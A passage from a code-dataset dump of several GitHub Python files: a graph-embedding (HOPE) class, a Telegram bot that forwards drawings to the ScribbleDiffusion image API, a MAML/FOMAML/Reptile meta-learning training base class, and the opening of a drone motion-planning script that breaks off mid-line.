__init__(self, *args, **kwargs):\n \"\"\" Initialize the HOPE class\n\n Args:\n d: dimension of the embedding\n beta: higher order coefficient\n \"\"\"\n super(HOPE, self).__init__(*args, **kwargs)\n\n def learn_embedding(self, graph=None,\n is_weighted=False, no_python=False):\n if not graph:\n raise ValueError('graph needed')\n\n A = nx.to_numpy_matrix(graph)\n m_g = np.eye(len(graph.nodes)) - self._beta * A\n m_l = self._beta * A\n S = np.dot(np.linalg.inv(m_g), m_l)\n\n u, s, vt = lg.svds(S, k=self._d // 2)\n X1 = np.dot(u, np.diag(np.sqrt(s)))\n X2 = np.dot(vt.T, np.diag(np.sqrt(s)))\n self._X = np.concatenate((X1, X2), axis=1)\n\n p_d_p_t = np.dot(u, np.dot(np.diag(s), vt))\n eig_err = np.linalg.norm(p_d_p_t - S)\n print('SVD error (low rank): %f' % eig_err)\n return self._X\n\n def get_edge_weight(self, i, j):\n return np.dot(self._X[i, :self._d // 2], self._X[j, self._d // 2:])\n","repo_name":"palash1992/GEM","sub_path":"gem/embedding/hope.py","file_name":"hope.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":1254,"dataset":"github-code","pt":"81"} +{"seq_id":"19205840828","text":"import logging\nimport asyncio\n\nimport aiogram.types\nimport requests\nfrom aiogram import Bot, types\nfrom aiogram.dispatcher import Dispatcher\nfrom aiogram.utils import executor\nfrom aiogram.utils.executor import start_webhook\n\nfrom keyboards import *\nfrom config import DefaultConfig\n\nbot = Bot(token=DefaultConfig.TELEGRAM_TOKEN)\ndp = Dispatcher(bot)\n\nuser_data = dict()\n\n\n@dp.message_handler(commands=[\"start\"])\nasync def on_start(message: types.Message):\n start_message = \"Hello! This bot is based on API of Replicate-powered app scribblediffusion.com.\\n\" \\\n \"Usage: Send a line drawing with a caption describing the desired result. Your input will be \" \\\n \"used to generate an output image.\\n\"\n await bot.send_message(chat_id=message.chat.id, text=start_message)\n\n\n@dp.message_handler()\nasync def retry_message(message: types.Message):\n \"\"\"\n Retry message if user don't want to change prompt and image\n :param message:\n :return:\n \"\"\"\n logging.info(f\"{message.text}, {user_data}\")\n if message.text == cmd_regenerate or message.text == cmd_retry:\n if user_data.get(message.from_user.id):\n await asyncio.gather(generate_image(message.from_user.id))\n else:\n await bot.send_message(\n chat_id=message.chat.id,\n text=\"The cache was cleared due to inactivity. Please resend your image with caption.\",\n reply_markup=aiogram.types.ReplyKeyboardRemove()\n )\n\n\n@dp.message_handler(content_types=['document', 'text'])\nasync def on_file_with_caption_upload(message: types.Message):\n \"\"\"\n Handle messages with document content.\n \"\"\"\n file = await bot.get_file(message.document.file_id)\n file_path = file.file_path\n await process_user_data(file_path, message)\n\n\n@dp.message_handler(content_types=['photo', 'text'])\nasync def on_photo_with_caption_upload(message: types.Message):\n \"\"\"\n Handle messages with image content.\n \"\"\"\n file = await bot.get_file(message.photo[-1].file_id)\n file_path = file.file_path\n await process_user_data(file_path, message)\n\n\nasync def process_user_data(file_path, message):\n available_formats = {\"jpeg\", \"jpg\", \"bmp\", \"gif\", \"webp\"}\n\n logging.info(f\"User: {message.from_user.id} - Prompt: '{message.caption}'\")\n\n json_data = {\n \"image\": 'https://api.telegram.org/file/bot{0}/{1}'.format(DefaultConfig.TELEGRAM_TOKEN, file_path),\n \"prompt\": message.caption\n }\n user_data[message.from_user.id] = {\n \"chat_id\": message.chat.id,\n \"json_data\": json_data\n }\n if message.caption is None:\n await bot.send_message(\n chat_id=message.chat.id,\n text=\"Send file with caption, please!\",\n reply_markup=aiogram.types.ReplyKeyboardRemove()\n )\n elif file_path.split(\".\")[-1] not in available_formats:\n await bot.send_message(\n chat_id=message.chat.id,\n text=\"Only documents with next extensions are supported: \" + \", \".join(list(available_formats)),\n reply_markup=aiogram.types.ReplyKeyboardRemove()\n )\n else:\n await asyncio.gather(generate_image(message.from_user.id))\n\n\nasync def generate_image(user_id) -> None:\n \"\"\"\n Send image and prompt via ScribbleDiffusion API and send new image to user\n \"\"\"\n scribble_prediction_url = \"https://scribblediffusion.com/api/predictions/\"\n chat_id = user_data[user_id][\"chat_id\"]\n json_data = user_data[user_id][\"json_data\"]\n\n msg = await bot.send_message(\n chat_id=chat_id,\n text=\"Generating image...\"\n )\n\n response = requests.post(\n scribble_prediction_url, json=json_data\n )\n for i in range(10):\n prompt = json_data[\"prompt\"]\n logging.info(f\"User: {user_id} - Try {i} - Prompt: '{prompt}'\")\n await asyncio.sleep(2)\n image_response = requests.get(\n scribble_prediction_url + response.json()[\"id\"]\n )\n if image_response.json()[\"output\"] is not None and len(image_response.json()[\"output\"]) == 2:\n await bot.send_document(\n chat_id=chat_id,\n document=image_response.json()[\"output\"][1],\n caption=f'Done in {round(image_response.json()[\"metrics\"][\"predict_time\"], 2)} seconds.'\n f'\\nPrompt: {json_data[\"prompt\"]}',\n reply_markup=kb_regenerate\n )\n break\n else:\n await bot.send_message(\n chat_id=chat_id,\n text=\"Something is wrong. Please retry!\",\n reply_markup=kb_retry\n )\n\n\n@dp.errors_handler()\ndef error(update, context):\n \"\"\"\n Log Telegram exceptions\n \"\"\"\n logging.warning(f\"Update '{update}'\")\n logging.exception(context.error)\n\n\nasync def on_startup(dp):\n await bot.set_webhook(DefaultConfig.WEBHOOK_URL)\n\n\nasync def on_shutdown(dp):\n logging.warning('Shutting down..')\n # Remove webhook (not acceptable in some cases)\n await bot.delete_webhook()\n logging.warning('Bye!')\n\n\nif __name__ == '__main__':\n # Enable logging\n DefaultConfig.init_logging()\n # Start the Bot\n if DefaultConfig.MODE == \"webhook\":\n start_webhook(\n dispatcher=dp,\n webhook_path=DefaultConfig.WEBHOOK_PATH,\n on_startup=on_startup,\n on_shutdown=on_shutdown,\n skip_updates=True,\n host=DefaultConfig.WEBAPP_HOST,\n port=DefaultConfig.WEBAPP_PORT,\n )\n logging.info(f\"Start webhook mode on port {DefaultConfig.WEBAPP_PORT}\")\n else:\n executor.start_polling(dp)\n logging.info(f\"Start polling mode\")\n","repo_name":"prog420/ScribbleDiffusionTGBot","sub_path":"app/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41251902780","text":"import os\nimport sys\nfrom abc import abstractmethod\n\nimport tensorflow as tf\nimport tensorflow_addons as tfa\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nfrom tqdm import tqdm\nfrom random import randrange\nimport os\n\nimport settings\nfrom utils import combine_first_two_axes, keep_keys_with_greater_than_equal_k_items\n\n\nclass SetupCaller(type):\n def __call__(cls, *args, **kwargs):\n obj = type.__call__(cls, *args, **kwargs)\n obj.setup()\n return obj\n\n\nclass BaseModel(metaclass=SetupCaller):\n def __init__(\n self,\n database,\n data_loader_cls,\n network_cls,\n n,\n k_ml,\n k_val_ml,\n k_val,\n k_val_val,\n k_test,\n k_val_test,\n meta_batch_size,\n meta_learning_rate,\n save_after_iterations,\n report_validation_frequency,\n log_train_images_after_iteration, # Set to -1 if you do not want to log train images.\n num_tasks_val,\n val_seed=-1, # The seed for validation dataset. -1 means change the samples for each report.\n experiment_name=None,\n val_database=None,\n test_database=None,\n ):\n\n self.database = database\n self.val_database = val_database if val_database is not None else self.database\n self.test_database = test_database if test_database is not None else self.database\n \n self.n = n\n self.k_ml = k_ml\n self.k_val_ml = k_val_ml\n self.k_val = k_val if k_val is not None else self.k_ml\n self.k_val_val = k_val_val\n self.k_test = k_test\n self.k_val_test = k_val_test\n \n self.optimizer = tf.keras.optimizers.Adam(learning_rate=meta_learning_rate) # for the outer loop\n \n self.meta_batch_size = meta_batch_size\n self.num_tasks_val = num_tasks_val\n self.val_seed = val_seed\n self.data_loader = self.init_data_loader(data_loader_cls)\n\n self.experiment_name = experiment_name\n self.meta_learning_rate = meta_learning_rate\n self.save_after_iterations = save_after_iterations\n self.log_train_images_after_iteration = log_train_images_after_iteration\n self.report_validation_frequency = report_validation_frequency\n\n self._root = self.get_root()\n self.train_log_dir = None\n self.train_summary_writer = None\n self.val_log_dir = None\n self.val_summary_writer = None\n self.checkpoint_dir = None\n\n self.network_cls = network_cls\n self.model = self.initialize_network()\n \n \n self.val_accuracy_metric = tf.metrics.Mean()\n self.val_loss_metric = tf.metrics.Mean()\n\n def setup(self):\n \"\"\"Setup is called right after init. This is to make sure that all the required fields are assigned.\n For example, num_steps in ml is in get_config_info(), however, it is not set in __init__ of the base model\n because it is a field for maml.\"\"\"\n self.train_log_dir = os.path.join(self._root, self.get_config_info(), 'logs/train/')\n self.val_log_dir = os.path.join(self._root, self.get_config_info(), 'logs/val/')\n self.checkpoint_dir = os.path.join(self._root, self.get_config_info(), 'saved_models/')\n\n def init_data_loader(self, data_loader_cls):\n return data_loader_cls(\n database=self.database,\n val_database=self.val_database,\n test_database=self.test_database,\n n=self.n,\n k_ml=self.k_ml,\n k_val_ml=self.k_val_ml,\n k_val=self.k_val,\n k_val_val=self.k_val_val,\n k_test=self.k_test,\n k_val_test=self.k_val_test,\n meta_batch_size=self.meta_batch_size,\n num_tasks_val=self.num_tasks_val,\n val_seed=self.val_seed\n )\n\n def get_root(self):\n return os.path.dirname(sys.argv[0])\n\n def get_config_info(self):\n config_info = self.get_config_str()\n if self.experiment_name is not None:\n config_info += '_' + self.experiment_name\n\n return config_info\n\n def post_process_outer_gradients(self, outer_gradients):\n return outer_gradients\n\n def log_images(self, summary_writer, train_ds, val_ds, step):\n with tf.device('gpu:0'):\n with summary_writer.as_default():\n tf.summary.image(\n 'train',\n train_ds,\n step=step,\n max_outputs=self.n * (self.k_ml + self.k_val_ml)\n )\n tf.summary.image(\n 'validation',\n val_ds,\n step=step,\n max_outputs=self.n * (self.k_ml + self.k_val_ml)\n )\n\n def save_model(self, iterations):\n self.model.save_weights(os.path.join(self.checkpoint_dir, f'model.ckpt-{iterations}'))\n\n def load_model(self, load_model=False, iterations=None):\n iteration_count = 0\n if iterations is not None:\n checkpoint_path = os.path.join(self.checkpoint_dir, f'model.ckpt-{iterations}')\n iteration_count = iterations\n else:\n checkpoint_path = tf.train.latest_checkpoint(self.checkpoint_dir)\n \n if (checkpoint_path is not None) and (load_model == True):\n try:\n self.model.load_weights(checkpoint_path)\n iteration_count = int(checkpoint_path[checkpoint_path.rindex('-') + 1:])\n print(f'==================\\nResuming Training\\n======={iteration_count}=======\\n==================')\n except Exception as e:\n print('Could not load the previous checkpoint!')\n print(e)\n sys.exit()\n\n else:\n print('No previous checkpoint found!')\n\n return iteration_count\n\n def log_histograms(self, step):\n with tf.device('gpu:0'):\n with self.train_summary_writer.as_default():\n for var in self.model.variables:\n tf.summary.histogram(var.name, var, step=step)\n\n # for k in range(len(self.updated_models)):\n # var_count = 0\n # if hasattr(self.updated_models[k], 'meta_trainable_variables'):\n # for var in self.updated_models[k].meta_trainable_variables:\n # var_count += 1\n # tf.summary.histogram(f'updated_model_{k}_' + str(var_count), var, step=iteration_count)\n\n def get_train_dataset(self):\n return self.data_loader.get_train_dataset()\n\n def get_val_dataset(self):\n return self.data_loader.get_val_dataset()\n\n def get_test_dataset(self, num_tasks, seed=-1):\n return self.data_loader.get_test_dataset(num_tasks, seed)\n\n def train(self, iterations=5, algorithm=\"MAML\", load_model=False):\n self.train_summary_writer = tf.summary.create_file_writer(self.train_log_dir)\n self.val_summary_writer = tf.summary.create_file_writer(self.val_log_dir)\n train_dataset = self.get_train_dataset()\n iteration_count = self.load_model(load_model)\n epoch_count = iteration_count // tf.data.experimental.cardinality(train_dataset)\n pbar = tqdm(train_dataset)\n \n train_accuracy_metric = tf.metrics.Mean()\n train_accuracy_metric.reset_states()\n train_loss_metric = tf.metrics.Mean()\n train_loss_metric.reset_states()\n\n should_continue = iteration_count < iterations\n \n while should_continue:\n self.outer_step_size = self.meta_learning_rate * (1.0 - iteration_count / float(iterations)) #reptile\n train_loss_print_fomaml = []\n val_loss_print_fomaml = []\n train_acc_print_fomaml = []\n val_acc_print_fomaml = []\n \n for (train_ds, val_ds), (train_labels, val_labels) in train_dataset:\n if algorithm == \"MAML\":\n if iteration_count == 0:\n print(\"\\n##### Running MAML #####\\n\")\n train_acc, train_loss = self.meta_train_loop_maml(train_ds, val_ds, train_labels, val_labels)\n elif algorithm == \"FOMAML\":\n if iteration_count == 0:\n print(\"\\n##### Running FOMAML #####\\n\")\n train_acc, train_loss = self.meta_train_loop_fomaml(train_ds, val_ds, train_labels,\n val_labels)\n elif algorithm == \"Reptile\": \n if iteration_count == 0:\n print(\"\\n##### Running Reptile #####\\n\")\n train_acc, train_loss = self.meta_train_loop_reptile(train_ds, val_ds, train_labels,\n val_labels)\n \n train_accuracy_metric.update_state(train_acc)\n train_loss_metric.update_state(train_loss)\n iteration_count += 1\n \n# os.remove('models/maml/print_metrics_folder/val_loss_'+algorithm+'.txt')\n# os.remove('models/maml/print_metrics_folder/val_acc_'+algorithm+'.txt')\n# os.remove('models/maml/print_metrics_folder/train_loss_'+algorithm+'.txt')\n# os.remove('models/maml/print_metrics_folder/train_acc_'+algorithm+'.txt')\n\n with open('models/maml/print_metrics_folder/val_loss_'+algorithm+'.txt', 'a') as file:\n file.write(\"%f\\n\" % self.val_loss_metric.result().numpy())\n with open('models/maml/print_metrics_folder/val_acc_'+algorithm+'.txt', 'a') as file:\n file.write(\"%f\\n\" % self.val_accuracy_metric.result().numpy())\n\n with open('models/maml/print_metrics_folder/train_loss_'+algorithm+'.txt', 'a') as file:\n file.write(\"%f\\n\" % train_loss_metric.result().numpy())\n\n with open('models/maml/print_metrics_folder/train_acc_'+algorithm+'.txt', 'a') as file:\n file.write(\"%f\\n\" % train_accuracy_metric.result().numpy())\n \n val_loss_print_fomaml.append(self.val_loss_metric.result().numpy())\n val_acc_print_fomaml.append(self.val_accuracy_metric.result().numpy())\n train_acc_print_fomaml.append(train_accuracy_metric.result().numpy())\n train_loss_print_fomaml.append(train_loss_metric.result().numpy())\n \n if (\n self.log_train_images_after_iteration != -1 and\n iteration_count % self.log_train_images_after_iteration == 0\n ):\n self.log_images(\n self.train_summary_writer,\n combine_first_two_axes(train_ds[0, ...]),\n combine_first_two_axes(val_ds[0, ...]),\n step=iteration_count\n )\n self.log_histograms(step=iteration_count)\n\n if iteration_count != 0 and iteration_count % self.save_after_iterations == 0:\n self.save_model(iteration_count)\n\n if iteration_count % self.report_validation_frequency == 0:\n self.report_validation_loss_and_accuracy(iteration_count)\n \n # prepare arguments for printing metrics\n# self.print_metrics(train_loss_print, val_loss_print, train_acc_print, val_acc_print,\\\n# epoch_count, algorithm)\n \n if iteration_count != 0:\n print('Train Loss: {}'.format(train_loss_metric.result().numpy()))\n print('Train Accuracy: {}'.format(train_accuracy_metric.result().numpy()))\n with self.train_summary_writer.as_default():\n tf.summary.scalar('Loss', train_loss_metric.result(), step=iteration_count)\n tf.summary.scalar('Accuracy', train_accuracy_metric.result(), step=iteration_count)\n train_accuracy_metric.reset_states()\n train_loss_metric.reset_states()\n\n pbar.set_description_str('Epoch{}, Iteration{}: Train Loss: {}, Train Accuracy: {}'.format(\n epoch_count,\n iteration_count,\n train_loss_metric.result().numpy(),\n train_accuracy_metric.result().numpy()\n ))\n pbar.update(1)\n \n \n if iteration_count >= iterations:\n should_continue = False\n break\n\n epoch_count += 1\n \n def print_metrics(self, train_losses, valid_losses, train_accs, valid_accs, step, algorithm):\n lr = self.meta_learning_rate\n \n epochs = range(0, step)\n plt.plot(epochs, train_losses)\n plt.plot(epochs, valid_losses)\n plt.title('Training and validation loss')\n plt.xlabel(\"Iterations\")\n plt.ylabel('Loss')\n plt.legend([\"train_loss\", \"val_loss\"])\n plt.savefig(\"models/maml/print_metrics_folder/model=\" + algorithm + \"_losses_lr=\" + str(lr) + \".png\")\n plt.close()\n \n plt.plot(epochs, train_accs)\n plt.plot(epochs, valid_accs)\n plt.title('Training and validation accuracy')\n plt.xlabel(\"Iterations\")\n plt.ylabel('Accuracy')\n plt.legend([\"train_acc\", \"val_acc\"])\n plt.savefig(\"models/maml/print_metrics_folder/model=\" + algorithm + \"_accs_lr=\" + str(lr) + \".png\")\n plt.close()\n \n return\n \n def log_metric(self, summary_writer, name, metric, step):\n with summary_writer.as_default():\n tf.summary.scalar(name, metric.result(), step=step)\n \n @tf.function\n def meta_train_loop_maml(self, train_ds, val_ds, train_labels, val_labels):\n with tf.GradientTape(persistent=True) as outer_tape:\n tasks_final_losses = list()\n tasks_final_accs = list()\n \n for i in range(self.meta_batch_size):\n # pick each task in meta batch\n task_final_acc, task_final_loss, _ = self.get_losses_of_tasks_batch(method='train')(\n (train_ds[i, ...], val_ds[i, ...], train_labels[i, ...], val_labels[i, ...])\n ) # logika trunsdactive => παιρνω ολο το train_ds οχι απτο i και μετα\n \n tasks_final_losses.append(task_final_loss)\n tasks_final_accs.append(task_final_acc)\n \n final_acc = tf.reduce_mean(tasks_final_accs)\n final_loss = tf.reduce_mean(tasks_final_losses)\n \n outer_gradients = outer_tape.gradient(final_loss, self.model.trainable_variables) # grad(loss, updated_w)\n self.post_process_outer_gradients(outer_gradients)\n self.optimizer.apply_gradients(zip(outer_gradients, self.model.trainable_variables)) #w = w - a*grad(loss,updated_w)\n \n return final_acc, final_loss\n\n @tf.function\n def meta_train_loop_fomaml(self, train_ds, val_ds, train_labels, val_labels):\n with tf.GradientTape(persistent=True) as outer_tape:\n tasks_final_losses = list()\n tasks_final_accs = list()\n updated_weights_list = list()\n self.weights_before = self.model.trainable_variables\n\n for i in range(self.meta_batch_size):\n # pick each task in meta batch\n task_final_acc, task_final_loss, updated_weights = self.get_losses_of_tasks_batch(method='train')(\n (train_ds[i, ...], val_ds[i, ...], train_labels[i, ...], val_labels[i, ...])\n ) # logika trunsdactive => παιρνω ολο το train_ds οχι απτο i και μετα\n \n \n tasks_final_losses.append(task_final_loss)\n tasks_final_accs.append(task_final_acc)\n updated_weights_list.append(updated_weights)\n \n final_acc = tf.reduce_mean(tasks_final_accs)\n final_loss = tf.reduce_mean(tasks_final_losses)\n \n # average sequence of variables\n i = 0\n final_updated_weights = self.model.trainable_variables.copy()\n for variables in zip(*updated_weights_list):\n final_updated_weights[i].assign(tf.reduce_mean(variables, axis=0))\n i += 1\n \n outer_gradients = outer_tape.gradient(final_loss, final_updated_weights) \n \n self.post_process_outer_gradients(outer_gradients)\n self.optimizer.apply_gradients(zip(outer_gradients, self.model.trainable_variables)) \n \n return final_acc, final_loss\n \n \n def evaluate(self, iterations, num_tasks, iterations_to_load_from=None, seed=-1, use_val_batch_statistics=True):\n \"\"\"If you set use val batch statistics to true, then the batch information from all the test samples will be\n used for batch normalization layers (like MAML experiments), otherwise batch normalization layers use the\n average and variance which they learned during the updates.\"\"\"\n # TODO add ability to set batch norm momentum if use_val_batch_statistics=False\n self.test_dataset = self.get_test_dataset(num_tasks=num_tasks, seed=seed)\n self.load_model(iterations=iterations_to_load_from)\n\n accs = list()\n losses = list()\n losses_func = self.get_losses_of_tasks_batch(\n method='test',\n iterations=iterations,\n use_val_batch_statistics=use_val_batch_statistics\n )\n counter = 0\n for (train_ds, val_ds), (train_labels, val_labels) in self.test_dataset:\n remainder_num = num_tasks // 20\n if remainder_num == 0:\n remainder_num = 1\n if counter % remainder_num == 0:\n print(f'{counter} / {num_tasks} are evaluated.')\n\n counter += 1\n tasks_final_accuracy, tasks_final_losses = tf.map_fn(\n losses_func,\n elems=(\n train_ds,\n val_ds,\n train_labels,\n val_labels,\n ),\n dtype=(tf.float32, tf.float32),\n parallel_iterations=1\n )\n final_loss = tf.reduce_mean(tasks_final_losses)\n final_acc = tf.reduce_mean(tasks_final_accuracy)\n losses.append(final_loss)\n accs.append(final_acc)\n\n final_acc_mean = np.mean(accs)\n final_acc_std = np.std(accs)\n\n print(f'loss mean: {np.mean(losses)}')\n print(f'loss std: {np.std(losses)}')\n print(f'accuracy mean: {final_acc_mean}')\n print(f'accuracy std: {final_acc_std}')\n # Free the seed :D\n if seed != -1:\n np.random.seed(None)\n\n confidence_interval = 1.96 * final_acc_std / np.sqrt(num_tasks)\n\n print(\n f'final acc: {final_acc_mean} +- {confidence_interval}'\n )\n print(\n f'final acc: {final_acc_mean * 100:0.2f} +- {confidence_interval * 100:0.2f}'\n )\n return np.mean(accs)\n\n def report_validation_loss_and_accuracy(self, epoch_count):\n self.val_loss_metric.reset_states()\n self.val_accuracy_metric.reset_states()\n\n val_counter = 0\n patience = 0\n previous_loss = 1 # maximum possible number of val_loss\n loss_func = self.get_losses_of_tasks_batch(method='val')\n val_dataset = self.get_val_dataset()\n for (train_ds, val_ds), (train_labels, val_labels) in val_dataset:\n val_counter += 1\n # TODO fix validation logging\n if settings.DEBUG:\n if val_counter % 5 == 0:\n step = epoch_count * val_dataset.steps_per_epoch + val_counter\n # pick the first task in meta batch\n log_train_ds = combine_first_two_axes(train_ds[0, ...])\n log_val_ds = combine_first_two_axes(val_ds[0, ...])\n self.log_images(self.val_summary_writer, log_train_ds, log_val_ds, step)\n\n tasks_final_accuracy, tasks_final_losses = tf.map_fn(\n loss_func,\n elems=(\n train_ds,\n val_ds,\n train_labels,\n val_labels,\n ),\n dtype=(tf.float32, tf.float32),\n parallel_iterations=1\n )\n final_loss = tf.reduce_mean(tasks_final_losses)\n final_acc = tf.reduce_mean(tasks_final_accuracy)\n self.val_loss_metric.update_state(final_loss)\n self.val_accuracy_metric.update_state(final_acc)\n\n self.log_metric(self.val_summary_writer, 'Loss', self.val_loss_metric, step=epoch_count)\n self.log_metric(self.val_summary_writer, 'Accuracy', self.val_accuracy_metric, step=epoch_count)\n \n # early stopping criteria\n val_loss = self.val_loss_metric.result().numpy()\n if val_loss <= previous_loss:\n patience = 0\n elif (val_loss - previous_loss) > 0.001:\n patience += 1\n else:\n patience = 0\n\n previous_loss = val_loss\n if patience == 8:\n print(\"The model starts overfitting => Training aborted...\")\n self.save_model(epoch_count)\n sys.exit()\n \n print('Validation Loss: {}'.format(val_loss))\n print('Validation Accuracy: {}'.format(self.val_accuracy_metric.result().numpy()))\n \n @abstractmethod\n def get_losses_of_tasks_batch(self, method='train', **kwargs):\n pass\n\n @abstractmethod\n def initialize_network(self):\n pass\n\n @abstractmethod\n def get_config_str(self):\n pass\n \n \n # #@tf.function\n# def meta_train_loop_reptile(self, train_ds, val_ds, train_labels, val_labels):\n# ##############################################################\n# # #1st way (sample 1 random task) => φ = φ + ε(φ_hat− φ)\n# self.weights_before = self.model.trainable_variables\n \n# # pick a random task in meta batch\n# i = randrange(self.meta_batch_size)\n# # print(train_ds[i,...].shape)\n# # print(type(train_ds),train_ds.shape)\n# # assert 1==0\n \n# ##### Running Reptile #####\n# \"\"\"\n# (5, 1, 28, 28, 1)\n# (5, 5, 1, 28, 28, 1)\n# \"\"\"\n# print(train_ds[i,...])\n# assert 1==0\n# task_final_acc, task_final_loss, updated_weights = self.get_losses_of_tasks_batch(method='train')(\n# (train_ds[i, ...], val_ds[i, ...], train_labels[i, ...], val_labels[i, ...])\n# ) # logika trunsdactive => παιρνω ολο το train_ds οχι απτο i και μετα\n\n# updated_directions = [(new_w - old_w) for new_w, old_w in zip(updated_weights, self.weights_before)] \n \n# j = 0\n# for old_w, updated_direction in zip(self.weights_before, updated_directions):\n# self.model.weights[j] = old_w + self.outer_step_size * updated_direction\n# j += 1 \n# # self.post_process_outer_gradients(updated_directions)\n# # self.optimizer.apply_gradients(zip(updated_directions, self.model.trainable_variables)) \n \n# final_acc = task_final_acc\n# final_loss = task_final_loss\n \n \n ##############################################################\n \n # 2nd way (batch version) => φ = φ + ε/n*sum(φi− φ), i=1(1)n\n# with tf.GradientTape(persistent=True) as outer_tape:\n# tasks_final_losses = list()\n# tasks_final_accs = list()\n# self.weights_before = self.model.trainable_variables\n# sum_ = [-self.meta_batch_size*w for w in self.weights_before]\n \n# for i in range(self.meta_batch_size):\n# task_final_acc, task_final_loss, updated_weights = self.get_losses_of_tasks_batch(method='train')(\n# (train_ds[i, ...], val_ds[i, ...], train_labels[i, ...], val_labels[i, ...])\n# ) # logika trunsdactive => παιρνω ολο το train_ds οχι απτο i και μετα\n\n# tasks_final_losses.append(task_final_loss)\n# tasks_final_accs.append(task_final_acc)\n\n# final_acc = tf.reduce_mean(tasks_final_accs)\n# final_loss = tf.reduce_mean(tasks_final_losses)\n# sum_ = [(w1 + w2) for w1, w2 in zip(sum_, updated_weights)]\n \n# outer_gradients = [(old_w - new_w)/self.meta_batch_size for old_w,new_w in \\\n# zip(self.weights_before, final_updated_weights)]\n \n# self.post_process_outer_gradients(outer_gradients)\n# self.optimizer.apply_gradients(zip(outer_gradients, self.model.trainable_variables))\n# # 3rd way (batch version) => φ = φ + ε(φ_hat− φ) by averaging vars\n# with tf.GradientTape(persistent=True) as outer_tape:\n# tasks_final_losses = list()\n# tasks_final_accs = list()\n# updated_weights_list = list()\n# self.weights_before = self.model.weights\n \n# for i in range(self.meta_batch_size):\n# # pick each task in meta batch\n# task_final_acc, task_final_loss, updated_weights = self.get_losses_of_tasks_batch(method='train')(\n# (train_ds[i, ...], val_ds[i, ...], train_labels[i, ...], val_labels[i, ...])\n# ) # logika trunsdactive => παιρνω ολο το train_ds οχι απτο i και μετα\n\n# tasks_final_losses.append(task_final_loss)\n# tasks_final_accs.append(task_final_acc)\n# updated_weights_list.append(updated_weights)\n\n# final_acc = tf.reduce_mean(tasks_final_accs)\n# final_loss = tf.reduce_mean(tasks_final_losses)\n\n# #average sequence of variables\n# i = 0\n# final_updated_weights = self.weights_before\n# for variables in zip(*updated_weights_list):\n# final_updated_weights[i].assign(tf.reduce_mean(variables, axis=0))\n# i += 1\n\n# outer_gradients = [(-old_w + new_w)/self.meta_batch_size for old_w,new_w in zip(self.weights_before,\n# final_updated_weights)]\n \n# # self.post_process_outer_gradients(outer_gradients)\n# # self.optimizer.apply_gradients(zip(outer_gradients, self.model.trainable_variables))\n \n# j = 0\n# for old_w, updated_direction in zip(self.weights_before, outer_gradients):\n# self.model.weights[j].assign(old_w + self.outer_step_size * updated_direction)\n# j += 1 \n \n# return final_acc, final_loss\n","repo_name":"Kkalais/StochLWTA-ML","sub_path":"MAML + FOMAML experiments/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":27282,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"13210525017","text":"import argparse\nimport time\nimport msgpack\nfrom enum import Enum, auto\n\nimport numpy as np\nimport csv\nimport networkx as nx\nfrom sampling import Sampler\n\nfrom planning_utils import a_star_graph, heuristic_graph, prune_path, closest_point\nfrom planning_utils import can_connect, create_graph\nfrom udacidrone import Drone\nfrom udacidrone.connection import MavlinkConnection\nfrom udacidrone.messaging import MsgID\nfrom udacidrone.frame_utils import global_to_local\n\n\nclass States(Enum):\n MANUAL = auto()\n ARMING = auto()\n TAKEOFF = auto()\n WAYPOINT = auto()\n LANDING = auto()\n DISARMING = auto()\n PLANNING = auto()\n\n\nclass MotionPlanning(Drone):\n\n def __init__(self, connection):\n super().__init__(connection)\n\n self.target_position = np.array([0.0, 0.0, 0.0])\n self.waypoints = []\n self.in_mission = True\n self.check_state = {}\n\n # initial state\n self.flight_state = States.MANUAL\n\n # register all your callbacks here\n self.register_callback(MsgID.LOCAL_POSITION, self.local_position_callback)\n self.register_callback(MsgID.LOCAL_VELOCITY, self.velocity_callback)\n self.register_callback(MsgID.STATE, self.state_callback)\n\n def local_position_callback(self): \n if self.flight_state == States.TAKEOFF:\n if -1.0 * self.local_position[2] > 0.95 * self.target_position[2]:\n self.waypoint_transition()\n elif self.flight_state == States.WAYPOINT:\n if np.linalg.norm(self.target_position[0:2] - self.local_position[0:2]) < 3.0:\n if len(self.waypoints) > 0:\n self.waypoint_transition()\n else:\n if np.linalg.norm(self.local_velocity[0:2]) < 1.0:\n self.landing_transition()\n\n def velocity_callback(self):\n if self.flight_state == States.LANDING:\n #if self.global_position[2] - self.global_home[2] < 0.1:\n if abs(self.local_position[2]) < 0.01 or np.linalg.norm(self.local_velocity[2]) < .01:\n self.disarming_transition()\n\n def state_callback(self):\n if self.in_mission:\n if self.flight_state == States.MANUAL:\n self.arming_transition()\n elif self.flight_state == States.ARMING:\n if self.armed:\n self.plan_path()\n elif self.flight_state == States.PLANNING:\n self.takeoff_transition()\n elif self.flight_state == States.DISARMING:\n if ~self.armed & ~self.guided:\n self.manual_transition()\n\n def arming_transition(self):\n self.flight_state = States.ARMING\n print(\"arming transition\")\n self.arm()\n self.take_control()\n\n def takeoff_transition(self):\n self.flight_state = States.TAKEOFF\n print(\"takeoff transition\")\n self.takeoff(self.target_position[2])\n\n def waypoint_transition(self):\n self.flight_state = States.WAYPOINT\n print(\"waypoint transition\")\n self.target_position = self.waypoints.pop(0)\n print('target position', self.target_position)\n self.cmd_position(self.target_position[0], self.target_position[1], self.target_position[2], self.target_position[3])\n\n def landing_transition(self):\n self.flight_state = States.LANDING\n print(\"landing transition\")\n self.land()\n\n def disarming_transition(self):\n self.flight_state = States.DISARMING\n print(\"disarm transition\")\n self.disarm()\n self.release_control()\n\n def manual_transition(self):\n self.flight_state = States.MANUAL\n print(\"manual transition\")\n self.stop()\n self.in_mission = False\n\n def send_waypoints(self):\n print(\"Sending waypoints to simulator ...\")\n data = msgpack.dumps(self.waypoints)\n self.connection._master.write(data)\n\n def plan_path(self):\n self.flight_state = States.PLANNING\n print(\"Searching for a path ...\")\n TARGET_ALTITUDE = 5\n SAFETY_DISTANCE = 7\n\n self.target_position[2] = TARGET_ALTITUDE\n\n # TODO: read lat0, lon0 from colliders into floating point values\n with open('colliders.csv', newline='') as f:\n reader = csv.reader(f)\n row1 = next(reader) # gets the first line\n lat0, lon0 = float(row1[0][5:]), float(row1[1][5:])\n\n # TODO: set home position to (lat0, 